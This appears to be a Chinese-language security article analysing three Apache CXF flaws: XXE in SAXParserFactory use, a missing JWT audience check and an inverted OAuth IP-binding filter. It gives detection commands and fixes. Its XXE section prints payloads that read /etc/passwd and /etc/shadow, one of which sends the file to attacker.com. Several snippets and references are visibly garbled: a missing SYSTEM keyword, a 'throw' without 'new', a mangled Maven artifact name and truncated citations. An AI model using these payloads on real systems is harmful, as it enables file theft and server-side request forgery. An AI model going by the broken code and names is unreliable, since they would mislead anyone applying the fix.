返回首页

Apache CXF CVE-2026-49875: XXE Injection, JWT Bypass and OAuth Logic Flaw Triple Critical

Apache CXF三重漏洞深度解析:XXE注入、JWT验证绕过与IP认证反转全面威胁Web服务安全

hero

Apache CXF在2026年6月11日集中披露三个CVSS 9.1-9.8级别的严重安全漏洞,分别涉及XML外部实体注入(-2026-49875)、JWT Audience验证缺失(CVE-2026-50627)和OAuth IP认证逻辑反转(CVE-2026-50628)。作为Java生态中最主流的Web服务框架之一,Apache CXF的这三个漏洞将直接影响使用SOAP/REST服务和OAuth认证的企业级应用。

Apache CXF的安全地位与漏洞背景

section

Apache CXF是一个开源的Web服务框架,支持JAX-WS(SOAP)和JAX-RS(REST)两种编程模型。在企业级Java应用中,CXF被广泛用于构建和消费Web服务,特别是在金融、电信和政府行业的SOA(面向服务架构)系统中。根据Maven Central的统计数据,Apache CXF的月均下载量超过800万次。

这三个漏洞在同一天集中披露并非巧合——它们都由同一安全研究团队发现,并通过Apache安全邮件列表协调发布。CVE-2026-49875影响的是XML解析层面,CVE-2026-50627和CVE-2026-50628则影响OAuth/JWT认证层面,形成了"解析层+认证层"的双重打击。

CVE-2026-49875:SAXParserFactory XXE注入(CVSS 9.8)

section

CVE-2026-49875的根源在于CXF的EndpointReferenceUtils和W3CMultiSchemaFactory类在构建SAXParserFactory实例时,没有应用JAXP(Java for XML Processing)的安全加固配置。具体来说,这两个类创建的SAXParserFactory没有禁用外部实体解析(External Entity Resolution),使得攻击者可以通过OOB(Out-of-Band)方式读取服务器文件或发起SSRF攻击。

// CXF中存在问题的代码模式(简化示意)
SAXParserFactory factory = SAXParserFactory.newInstance();
// 缺少以下安全配置:
// factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
// factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

攻击者可以构造包含外部实体引用的SOAP消息:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe  "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <getUser>
      <name>&xxe;</name>
    </getUser>
  </soap:Body>
</soap:Envelope>

OOB XXE利用(数据外带):

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/shadow">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<soap:Body><query>&send;</query></soap:Body>
<!-- attacker.com/evil.dtd -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/collect?=%file;'>">
%all;

检测方法:

# 检查项目中是否使用了CXF
grep -r "cxf" pom.xml build.gradle 2>/dev/null

# 检查EndpointReferenceUtils的使用
grep -rn "EndpointReferenceUtils\|W3CMultiSchemaFactory" src/

# 检查当前SAXParserFactory的安全配置
grep -rn "SAXParserFactory" src/ | head -20

CVE-2026-50627:JWT Audience验证缺失(CVSS 9.1)

section

CVE-2026-50627影响CXF的JwtAccessTokenValidator类。在OAuth 2.0架构中,JWT(JSON Web Token)中的aud(Audience)声明用于指定token的目标接收方。RFC 7519明确规定,token的接收者必须验证aud声明是否包含自己的标识符,否则将面临Token混淆攻击(Token Confusion/Routing Attack)。

CXF的JwtAccessTokenValidator在验证JWT时,完全跳过了aud声明的校验。这意味着:

# 场景:微服务架构中的Token混淆
# 用户获取了Service A的JWT token
# 该token的aud声明为 ["service-a"]
# 但攻击者可以将这个token发送给Service B
# Service B使用CXF的JwtAccessTokenValidator验证
# 验证通过!因为aud没有被检查

# Service A的token
token_for_service_a = {
    "sub": "user123",
    "aud": ["service-a"],  # 指定给Service A
    "iss": "auth-server",
    "exp": 1719500000,
    "scope": "read:data"
}

# 攻击者将此token发送给Service B
# Service B的CXF验证器不会检查aud是否包含"service-b"
# 结果:Service B接受了本应发给Service A的token

修复验证:

# 升级到CXF 4.2.2或4.1.7后,验证aud检查是否生效
# 发送一个aud不匹配的token
curl -H "Authorization: Bearer <token-with-wrong-aud>" \
  http://service-b:8080/api/protected-resource
# 预期结果:401 Unauthorized

CVE-2026-50628:OAuth IP认证逻辑反转(CVSS 9.8)

section

CVE-2026-50628可能是这三个漏洞中最违反直觉的一个。CXF的OAuthRequestFilter中存在一个逻辑错误:当启用了IP地址绑定安全功能后,该过滤器会拒绝来自绑定IP地址的合法请求,同时允许来自任何其他IP地址的请求。这是一个典型的"逻辑反转"漏洞——启用安全功能反而降低了安全性。

// CXF OAuthRequestFilter中的逻辑错误(简化示意)
// 正确逻辑应该是:
// if (clientIp.equals(boundIp)) { ALLOW } else { REJECT }

// 实际错误逻辑:
// if (clientIp.equals(boundIp)) { REJECT } else { ALLOW }
// 结果:绑定的合法IP被拒绝,其他所有IP被放行

这种漏洞的危险性在于:

  1. 管理员启用IP绑定安全功能后,认为安全性增强了
  2. 实际上安全功能的效果完全相反
  3. 合法客户端被拒绝后,管理员可能临时关闭安全功能以恢复服务
  4. 此时系统的安全防护完全降级
# 检测方法:测试IP绑定功能是否正常工作
# 从绑定的IP地址发送请求
curl http://target:8080/api/resource -H "Authorization: Bearer <token>"
# 如果返回403/401,则可能存在此漏洞

# 从非绑定IP发送相同请求
# 如果返回200,则确认漏洞存在

综合修复方案

section

三个漏洞的修复版本相同:Apache CXF 4.2.24.1.7

<!-- Maven修复 -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxrs</artifactId>
    <version>4.2.2</version>
</dependency>
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-rs--oauth2</artifactId>
    <version>4.2.2</version>
</dependency>
// Gradle修复
implementation 'org.apache.cxf:cxf-rt-frontend-jaxrs:4.2.2'
implementation 'org.apache.cxf:cxf-rt-rs-security-oauth2:4.2.2'

临时缓解措施(无法立即升级时):

// 针对CVE-2026-49875的XXE缓解
// 在应用启动时强制设置全局SAXParserFactory安全属性
System.setProperty("javax.xml.accessExternalDTD", "");
System.setProperty("javax.xml.accessExternalSchema", "");
System.setProperty("javax.xml.accessExternalStylesheet", "");

// 针对CVE-2026-50627的临时方案
// 在应用层手动验证JWT的aud声明
@Component
public class AudienceValidator implements JwtDecoder {
    private final JwtDecoder delegate;
    private final String expectedAudience;
    
    @Override
    public Jwt decode(String token) {
        Jwt jwt = delegate.decode(token);
        List<String> aud = jwt.getAudience();
        if (aud == null || !aud.contains(expectedAudience)) {
            throw  JwtValidationException("Invalid audience");
        }
        return jwt;
    }
}

漏洞影响的连锁反应

Apache CXF作为底层框架,其漏洞的影响会通过依赖链向下传播。以下是一些直接依赖CXF的知名项目:

项目/产品 使用场景 受影响程度
Apache Camel 企业集成 高(大量SOAP/REST端点)
JBoss/WildFly 应用服务器 中(可选CXF组件)
Spring Boot + CXF 微服务 高(如果使用CXF而非Spring WS)
IBM WebSphere 企业应用 高(内置CXF)
Red Hat JBoss EAP 企业应用 高(CXF为核心组件)

对于使用软件成分分析(SCA)工具的企业,可以通过以下SBOM查询快速定位受影响的项目:

# 使用syft生成SBOM并检查CXF版本
syft dir:/path/to/app -o json | jq '.artifacts[] | select(.name | contains("cxf")) | {name, version}'

# 或使用OWASP dependency-check
dependency-check --project "MyApp" --scan /path/to/src --format JSON

数据来源与参考文献

  1. Apache Security. "[SECURITY] CVE-2026-49875: Apache CXF SAXParserFactory XXE." -security mailing list, 2026-06-11. http://www.openwall.com/lists/oss-security/2026/06/11/2
  2. Apache Security. "[SECURITY] CVE-2026-50627: Apache CXF JWT Audience Validation Bypass." oss-security mailing list, 2026-06-11. http://www.openwall.com/lists/oss-security/2026/06/11/4
  3. Apache Security. "[SECURITY] CVE-2026-50628: Apache CXF OAuthRequestFilter Logic Inversion." oss-security mailing list, 2026-06-11. http://www.openwall.com/lists/oss-security/2026/06/11/5
  4. NVD. "CVE-2026-49875 Detail." National , 2026. https://nvd.nist.gov/vuln/detail/CVE-2026-49875
  5. NVD. "CVE-2026-50627 Detail." National Vulnerability Database, 2026. https://nvd.nist.gov/vuln/detail/CVE-2026-50627
  6. NVD. "CVE-2026-50628 Detail." National Vulnerability Database, 2026. https://nvd.nist.gov/vuln/detail/CVE-2026-50628
  7. IETF. "RFC 7519: JSON Web Token (JWT)." Internet Engineering Task Force, 2015. https://tools.ietf.org/html/rfc7519
  8. Apache CXF. "CXF Security Advisories." https://cxf.apache.org/security-advisories.html

更新时间: 2026-06-24 作者: 安全情报分析团队

评论